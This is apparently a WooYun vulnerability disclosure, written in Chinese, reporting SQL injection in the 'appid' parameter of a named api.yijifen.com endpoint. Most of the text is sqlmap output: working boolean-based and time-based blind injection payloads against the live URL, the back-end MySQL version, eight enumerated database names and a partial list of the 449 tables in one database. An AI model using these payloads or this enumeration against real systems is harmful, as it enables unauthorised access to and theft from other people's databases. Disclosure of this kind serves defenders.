WooYun.org

漏洞地址:http://api.yijifen.com/EScore_API/common/comfirmActivateCheckGet.do?appid=1056497222&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
appid参数存在注入
400多个表只列举一部分，跑完太慢了
sqlmap identified the following injection point(s) with a total of 225 HTTP(s) requests:
---
Parameter: appid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: appid=1056497222' AND 1141=1141 AND 'nBXf'='nBXf&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: appid=1056497222' AND (SELECT * FROM (SELECT(SLEEP(5)))VIcY) AND 'JzMV'='JzMV&deviceid=&IDFA=D900C5E4-7934-4161-BE20-7C97F66BFD41&actiontime=1448616690731
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
back-end DBMS: MySQL 5.0.12
available databases [8]:
[*] dbaadmin
[*] eqile
[*] escore
[*] information_schema
[*] luckcat
[*] mysql
[*] performance_schema
[*] test
back-end DBMS: MySQL 5.0.12
Database: escore
[449 tables]
+--------------------------------------------+
| activemq_acks |
| activemq_lock |
| activemq_msgs |
| app_during_limit_config |
| app_ip_limit_black_list |
| app_ip_limit_config |
| app_ip_limit_white_list |
| app_ip_period_limit_black_list |
| app_ip_period_limit_config |
| app_zanting_20151117 |
| b0420_t_campaign_confirm |
| b0420_t_finance_balance_campain |
| b0420_t_finance_balance_income_rel |
| b331_application_black |
| b_ad_dsp_custom_confirm0605 |
| b_static_user_adtype_byday08 |
| b_user4 |
| b_user5 |
| b_user6 |
| b_user7 |
| bb_black |
| d_area |
| d_haha |
| ios_action_log2014 |
| rroc_errorlog |
| scn_log |
| sheet1 |
| t_activate_signnum |
| t_ad |
| t_ad_actual_day |
| t_ad_audit_log |
| t_ad_backup_20150814 |
| t_ad_backup_20151127 |
| t_ad_category_rel |